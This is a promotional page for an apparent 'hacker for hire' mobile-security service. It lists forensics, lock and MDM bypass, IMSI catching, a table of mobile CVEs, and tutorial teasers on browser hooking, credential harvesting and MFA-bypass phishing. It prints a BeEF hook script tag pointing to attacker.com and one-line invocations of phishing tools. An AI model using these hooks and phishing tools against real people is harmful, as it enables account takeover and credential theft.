mobilehackerforhire, iPhone & Android forensics specialist

$ ./service --id=01

iOS Forensics

Logical & full filesystem acquisition. checkm8 / checkra1n workflows. Keychain extraction.

#iPhone#iPad#iOS 14-18

svc/02.sh

$ ./service --id=02

Android Forensics

EDL / Qualcomm / MTK extraction. TWRP imaging. Encrypted partition analysis.

#Pixel#Samsung#Xiaomi

svc/03.sh

$ ./service --id=03

Malware Analysis

Reverse engineering of mobile RATs, spyware, Pegasus-class implants. IOC extraction.

#Frida#Ghidra#IDA

svc/04.sh

$ ./service --id=04

MDM / Lock Bypass

Activation lock, FRP, MDM enrollment escape. Lawful research only.

#FRP#iCloud#ABM

svc/05.sh

$ ./service --id=05

Network Recon

Cellular baseband sniffing, IMSI catching, OTA payload analysis.

#LTE#5G#SS7

svc/06.sh

$ ./service --id=06

App Pentest

iOS/Android binary audit. Cert pinning bypass. API fuzzing. OWASP MASVS.

#Burp#Objection#MASVS

root@mhfh:~#grep -r 'CVE' /var/db/exploits/

db/ios_exploit_db.json

�?� iPhone Exploit DB

11 entries

cd ./ios →

db/android_exploit_db.json

🤖 Android Exploit DB

11 entries

cd ./android →

exploit-db.sh --query

AES-256 SECURED

$ search>

$ platform:

$ severity:

CVE	Platform	Title	Affected	Type	Sev	Date	Status
CVE-2026-43722	iOS	Kernel sensitive-state information disclosure	iOS/iPadOS < 26.5.2	InfoLeak	High	2026-06-29	Vendor confirmed	cat →
CVE-2026-0059	Android	Android System remote code execution	14, 15, 16, 16 QPR2	RCE	High	2026-06-01	Vendor confirmed	cat →
CVE-2026-0114	Android	Pixel modem remote code execution	Supported Google Pixel devices	RCE	Critical	2026-03-01	Vendor confirmed	cat →
CVE-2026-0006	Android	Android System remote code execution	Android 16	RCE	Critical	2026-03-01	Vendor confirmed	cat →
CVE-2025-31200	iOS	CoreAudio crafted-media code execution	iOS/iPadOS < 18.4.1	RCE	Critical	2025-04-16	Exploited in the wild	cat →
CVE-2025-31201	iOS	RPAC Pointer Authentication bypass	iOS/iPadOS < 18.4.1	Sandbox	High	2025-04-16	Exploited in the wild	cat →
CVE-2025-14174	iOS	WebKit memory corruption in targeted attacks	iOS versions before iOS 26	RCE	Critical	2025-12-12	Exploited in the wild	cat →
CVE-2026-0073	Android	adbd wireless debugging remote shell	14-16	RCE	Critical	2026-05-05	Publicly disclosed	cat →
CVE-2026-21385	Android	Graphics component buffer over-read	Qualcomm chipsets	InfoLeak	High	2026-03-01	Publicly disclosed	cat →
CVE-2026-0032	Android	mem_protect.c out-of-bounds write	Kernel 14-15	LPE	High	2026-03-02	Publicly disclosed	cat →
CVE-2026-20700	iOS	Memory corruption arbitrary code execution	< 26.3	RCE	Critical	2026-02-11	Publicly disclosed	cat →
CVE-2026-20640	iOS	iPhone Mirroring UI state disclosure	< 26.3	InfoLeak	High	2026-02-13	Publicly disclosed	cat →
CVE-2025-43529	iOS	WebKit Use-After-Free arbitrary code	< 26.2	RCE	Critical	2025-12-15	Publicly disclosed	cat →
CVE-2025-48543	Android	Chrome sandbox escape use-after-free	System 14-16	Sandbox	High	2025-11-20	Publicly disclosed	cat →
CVE-2024-23222	iOS	WebKit RCE via type confusion	≤17.3	RCE	Critical	2024-01-22	Publicly disclosed	cat →
CVE-2024-44308	iOS	JavaScriptCore UXSS chain	≤18.1	RCE	Critical	2024-11-19	Publicly disclosed	cat →
CVE-2023-41064	iOS	BLASTPASS ImageIO 0-click	≤16.6	0-click	Critical	2023-09-07	Publicly disclosed	cat →
CVE-2022-32893	iOS	WebKit OOB write → kernel LPE	≤15.6	LPE	Critical	2022-08-17	Publicly disclosed	cat →
CVE-2024-32896	Android	Pixel firmware privilege escalation	Pixel ≤14	LPE	High	2024-06-11	Publicly disclosed	cat →
CVE-2024-43093	Android	Framework path traversal sandbox escape	12-15	Sandbox	High	2024-11-04	Publicly disclosed	cat →
CVE-2023-21492	Android	Samsung kernel pointer leak	Samsung ≤13	InfoLeak	Medium	2023-05-09	Publicly disclosed	cat →
CVE-2023-20963	Android	WorkSource parcel mismatch (in-the-wild)	≤13	LPE	High	2023-03-13	Publicly disclosed	cat →

22 record(s)

root@mhfh:~#ls ./intelligence/

Tactical intelligence on the evolving threat landscape. Analysis of AI-driven social engineering, mobile surveillance trends, and proactive defense protocols.

intel/remove-sweeper-bot-from-metamask.sh

AES-256 SECURED

INTEL_REPORT· 12 min READ

Remove a Sweeper Bot From MetaMask: Get Expert Help

A compromised-wallet response guide covering immediate containment, safe asset migration, realistic rescue options, and confidential professional help.

MetaMaskWallet SecurityCrypto Recovery

intel/phone-forensic-investigation-cost.sh

AES-256 SECURED

INTEL_REPORT· 11 min READ

Phone Forensic Investigation Cost: 2026 Pricing Guide

Realistic planning ranges for mobile forensic assessments, targeted analysis, deleted-data investigations, spyware cases, and litigation-ready reporting.

Mobile ForensicsPricingInvestigation

intel/ai-scams-fighting-back.sh

AES-256 SECURED

INTEL_REPORT· 10 min READ

AI is Making Scams So Real, Even Experts Are Getting Fooled: Here’s How to Fight Back

Deepfake voices, AI-generated video, and hyper-personalized phishing. The rules of digital trust have changed. Master the new protocols of defense.

AI ScamsDeepfakesSocial Engineering

intel/10-signs-phone-hacked.sh

AES-256 SECURED

INTEL_REPORT· 15 min READ

10 Signs That Your Phone Is Hacked: Device Compromise Analysis

A comprehensive technical guide breaking down definitive indicators of a mobile breach, internal diagnostic protocols, and a clear remediation path.

Mobile SecuritySpywareForensics

root@mhfh:~#man ./tutorials/

hands on technical write-ups. Each post takes a CVE from the exploit DB and walks through triggering, weaponizing, and detecting the bug.

posts/beef-framework-browser-exploitation.md

AES-256 SECURED

N/A· 22 min

Hooked: Weaponizing the Browser Exploitation Framework (BeEF)

Technical deep dive into BeEF. Learn how to hook browsers, bypass modern XSS protections, and use the victim's browser as a pivot point for internal network exploitation.

&lt;script src="http://attacker.com:3000/hook.js"&gt;&lt;/script&gt;

BeEFXSSBrowser ExploitationClient-Side Attacks

posts/setoolkit-credential-harvesting.md

AES-256 SECURED

N/A· 18 min

The Human Exploit: Mastering the Social-Engineer Toolkit (SEToolkit)

Comprehensive guide on utilizing SEToolkit for advanced credential harvesting, site cloning, and automated spear-phishing campaigns.

setoolkit

SEToolkitPhishingCredential HarvestingSite Cloning

posts/gophish-enterprise-campaigns.md

AES-256 SECURED

N/A· 20 min

Phishing at Scale: Building Enterprise Campaigns with Gophish

Learn how to deploy and manage Gophish to execute highly realistic, large-scale spear-phishing campaigns with detailed metrics and pixel tracking.

./gophish

GophishPhishingRed TeamingCampaign Management

posts/bypassing-otp-evilginx2-zphisher.md

AES-256 SECURED

N/A· 24 min

Bypassing OTP with Evilginx2 & Zphisher

Explore advanced social-engineering tools and learn how Adversary-in-the-Middle proxying can bypass traditional multi-factor authentication.

evilginx -p ./phishlets/ -c config.yaml

Evilginx2AiTMMFA BypassZphisherProxy